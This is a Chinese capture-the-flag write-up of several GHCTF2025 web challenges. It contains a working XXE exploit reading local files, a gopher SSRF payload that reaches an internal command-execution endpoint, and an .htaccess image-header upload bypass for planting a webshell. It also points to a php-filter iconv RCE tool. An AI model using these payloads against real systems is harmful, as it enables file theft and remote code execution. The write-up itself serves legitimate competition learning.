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GHCTF2025 writeup

发表于 更新于

web

(>﹏<)

这题一开始自己传参没出，XXE，最后是队友问的AI出的

题目源码:

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from flask import Flask,request
import base64
from lxml import etree
import re
app = Flask(__name__)

@app.route('/')
def index():
    return open(__file__).read()


@app.route('/ghctf',methods=['POST'])
def parse():
    xml=request.form.get('xml')
    print(xml)
    if xml is None:
        return "No System is Safe."
    parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
    root = etree.fromstring(xml, parser)
    name=root.find('name').text
    return name or None



if __name__=="__main__":
    app.run(host='0.0.0.0',port=8080)

题目要求到/ghctf页面进行POST传参，会找到POST请求的表单里面的xml
/root是XML元素的根元素对象，可以访问和操作XML文档的元素和属性，这个源码要在XML对象的/root根元素里找name的子元素，获取内容

exp:

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import requests

response = requests.post("your url/ghctf", data={
    'xml': """<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<root>
<name>&xxe;</name>
</root>"""
})

print(response.text)

exp声明了一个XXE实体，内容来自根目录的/flag文件
然后再在的标签里引用实体XXE，跟源码里的相对应，最后会输出XXE获取到的flag内容

ez_readfile

搜了网上的，有类似的题目
https://www.cnblogs.com/rabbittt/p/13303955.html
MD5碰撞，payload可以直接用
只是比赛当中是读取文件

这里试了读取到了/etc/passwd
然后一直模糊匹配flag文件名，一直没匹配到
后来想到之前RDCTF2025的题目，有一题文件读取是利用的CVE-2024-2961，文件包含通杀CVE，想到可以利用这个
但是官方给的writeup有不同的解法
一个是用kezibei脚本
https://github.com/kezibei/php-filter-iconv
可以根据任意文件下载漏洞，生成php://filter的RCE payload
还有一个可以读取docker文件
官方原文是这样说的：

有出过题的，⼤部分都是采⽤https://github.com/CTF-Archives/ctf-docker-template
这⾥⾯的模版。⼀般出题过程中，为了⽅便，不去修改dockerfile⽂件，都会直接在容器内修改，然后再
commit⽣成镜像。
⾥⾯的php出题模版中，有⼀个容器启动命令⽂件docker-entrypoint.sh。可以看到该命令⽂件在容器初
始化后就会被删掉。但是在提交⽣成镜像后，由镜像⽣成容器⼜需要运⾏该⽂件。因此有的出题者为了
⽅便可能就不删除该⽂件，这时候就可以碰碰运⽓，看看出题者有没有把这个⽂件删掉。没有删掉，就
能够获取路径。

这是非预期解，读取docker镜像生成的文件，里面会有创建flag文件的过程，flag文件名也在里面

可以看到flag文件名，直接读取即可

grohper

当时比赛没写出来，赛后复现的
先用dirsearch扫一下web目录，扫到app.py,下载查看源码

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from flask import Flask, request, send_file, render_template_string
import os
from urllib.parse import urlparse, urlunparse
import subprocess
import socket
import hashlib
import base64
import random

app = Flask(__name__)
BlackList = [
    "127.0.0.1"
]

@app.route('/')
def index():
    return '''

@app.route('/Login', methods=['GET', 'POST'])
def login():
    junk_code()
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username in users and users[username]['password'] == hashlib.md5(password.encode()).hexdigest():
            return b64e(f"Welcome back, {username}!")
        return b64e("Invalid credentials!")
    return render_template_string("""
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Login</title>
            <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
            <style>
                body {
                    background-color: #f8f9fa;
                }
                .container {
                    max-width: 400px;
                    margin-top: 100px;
                }
                .card {
                    border: none;
                    border-radius: 10px;
                    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
                }
                .card-header {
                    background-color: #007bff;
                    color: white;
                    text-align: center;
                    border-radius: 10px 10px 0 0;
                }
                .btn-primary {
                    background-color: #007bff;
                    border: none;
                }
                .btn-primary:hover {
                    background-color: #0056b3;
                }
            </style>
        </head>
        <body>
            <div class="container">
                <div class="card">
                    <div class="card-header">
                        <h3>Login</h3>
                    </div>
                    <div class="card-body">
                        <form method="POST">
                            <div class="mb-3">
                                <label for="username" class="form-label">Username</label>
                                <input type="text" class="form-control" id="username" name="username" required>
                            </div>
                            <div class="mb-3">
                                <label for="password" class="form-label">Password</label>
                                <input type="password" class="form-control" id="password" name="password" required>
                            </div>
                            <button type="submit" class="btn btn-primary w-100">Login</button>
                        </form>
                    </div>
                </div>
            </div>
        </body>
        </html>
    """)

@app.route('/Gopher')
def visit():
    url = request.args.get('url')
    if url is None:
        return "No url provided :)"
    url = urlparse(url)
    realIpAddress = socket.gethostbyname(url.hostname)
    if url.scheme == "file" or realIpAddress in BlackList:
        return "No (≧∇≦)"
    result = subprocess.run(["curl", "-L", urlunparse(url)], capture_output=True, text=True)
    return result.stdout

@app.route('/RRegister', methods=['GET', 'POST'])
def register():
    junk_code()
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username in users:
            return b64e("Username already exists!")
        users[username] = {'password': hashlib.md5(password.encode()).hexdigest()}
        return b64e("Registration successful!")
    return render_template_string("""
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Register</title>
            <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
            <style>
                body {
                    background-color: #f8f9fa;
                }
                .container {
                    max-width: 400px;
                    margin-top: 100px;
                }
                .card {
                    border: none;
                    border-radius: 10px;
                    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
                }
                .card-header {
                    background-color: #28a745;
                    color: white;
                    text-align: center;
                    border-radius: 10px 10px 0 0;
                }
                .btn-success {
                    background-color: #28a745;
                    border: none;
                }
                .btn-success:hover {
                    background-color: #218838;
                }
            </style>
        </head>
        <body>
            <div class="container">
                <div class="card">
                    <div class="card-header">
                        <h3>Register</h3>
                    </div>
                    <div class="card-body">
                        <form method="POST">
                            <div class="mb-3">
                                <label for="username" class="form-label">Username</label>
                                <input type="text" class="form-control" id="username" name="username" required>
                            </div>
                            <div class="mb-3">
                                <label for="password" class="form-label">Password</label>
                                <input type="password" class="form-control" id="password" name="password" required>
                            </div>
                            <button type="submit" class="btn btn-success w-100">Register</button>
                        </form>
                    </div>
                </div>
            </div>
        </body>
        </html>
    """)

@app.route('/Manage', methods=['POST'])
def cmd():
    if request.remote_addr != "127.0.0.1":
        return "Forbidden!!!"
    if request.method == "GET":
        return "Allowed!!!"
    if request.method == "POST":
        return os.popen(request.form.get("cmd")).read()

@app.route('/Upload', methods=['GET', 'POST'])
def upload_avatar():
    junk_code()
    if request.method == 'POST':
        username = request.form.get('username')
        if username not in users:
            return b64e("User not found!")
        file = request.files.get('avatar')
        if file:
            file.save(os.path.join(avatar_dir, f"{username}.png"))
            return b64e("Avatar uploaded successfully!")
        return b64e("No file uploaded!")
    return render_template_string("""
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Upload Avatar</title>
            <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
            <style>
                body {
                    background-color: #f8f9fa;
                }
                .container {
                    max-width: 400px;
                    margin-top: 100px;
                }
                .card {
                    border: none;
                    border-radius: 10px;
                    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
                }
                .card-header {
                    background-color: #dc3545;
                    color: white;
                    text-align: center;
                    border-radius: 10px 10px 0 0;
                }
                .btn-danger {
                    background-color: #dc3545;
                    border: none;
                }
                .btn-danger:hover {
                    background-color: #c82333;
                }
            </style>
        </head>
        <body>
            <div class="container">
                <div class="card">
                    <div class="card-header">
                        <h3>Upload Avatar</h3>
                    </div>
                    <div class="card-body">
                        <form method="POST" enctype="multipart/form-data">
                            <div class="mb-3">
                                <label for="username" class="form-label">Username</label>
                                <input type="text" class="form-control" id="username" name="username" required>
                            </div>
                            <div class="mb-3">
                                <label for="avatar" class="form-label">Avatar</label>
                                <input type="file" class="form-control" id="avatar" name="avatar" required>
                            </div>
                            <button type="submit" class="btn btn-danger w-100">Upload</button>
                        </form>
                    </div>
                </div>
            </div>
        </body>
        </html>
    """)


@app.route('/app.py')
def download_source():
    return send_file(__file__, as_attachment=True)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

源码一大堆都没啥用，看主要的跟解题目相关的

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@app.route('/Manage', methods=['POST'])
def cmd():
    if request.remote_addr != "127.0.0.1":
        return "Forbidden!!!"
    if request.method == "GET":
        return "Allowed!!!"
    if request.method == "POST":
        return os.popen(request.form.get("cmd")).read()

要以POST方式访问/Manage，传参是POST方式的cmd

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@app.route('/Gopher')
def visit():
    url = request.args.get('url')
    if url is None:
        return "No url provided :)"
    url = urlparse(url)
    realIpAddress = socket.gethostbyname(url.hostname)
    if url.scheme == "file" or realIpAddress in BlackList:
        return "No (≧∇≦)"
    result = subprocess.run(["curl", "-L", urlunparse(url)], capture_output=True, text=True)
    return result.stdout

这边也提示了是Gopher，直接套公式
gopher需要传递四个参数
Content-Type,Content-Lenth,host,post
payload就是

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?url=gopher://127.0.0.2:8000/_POST /Manage HTTP%2
F1.1
host:127.0.0.1
Content-Type:application/x-www-for
m-urlencoded
Content-Length:7

cmd=env

进行二次url编码，传参
环境变量里有flag

upupup

一个文件上传
没给源码，就乱试，试了改php各种后缀名，上传jpg，上传.htaccess，上传.user.ini…
都没上传成功，jpg上传成功了但是没有任意文件读取的漏洞，没法连接木马，后来问了出题人
说这题的考点是 不影响.htaccess语法的MINE绕过
然后自己试了，要把.htaccess识别成图片，上传到服务器就可以绕过检测

需要在前面加上

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#define width 1337
#define height 1337

就能上传到服务器，被识别成图片，然后再用.htaccess的语法，把木马后缀名变成.jpg
前面加上GIF89a就能绕过去了
上传后拿蚁剑根目录就能找到flag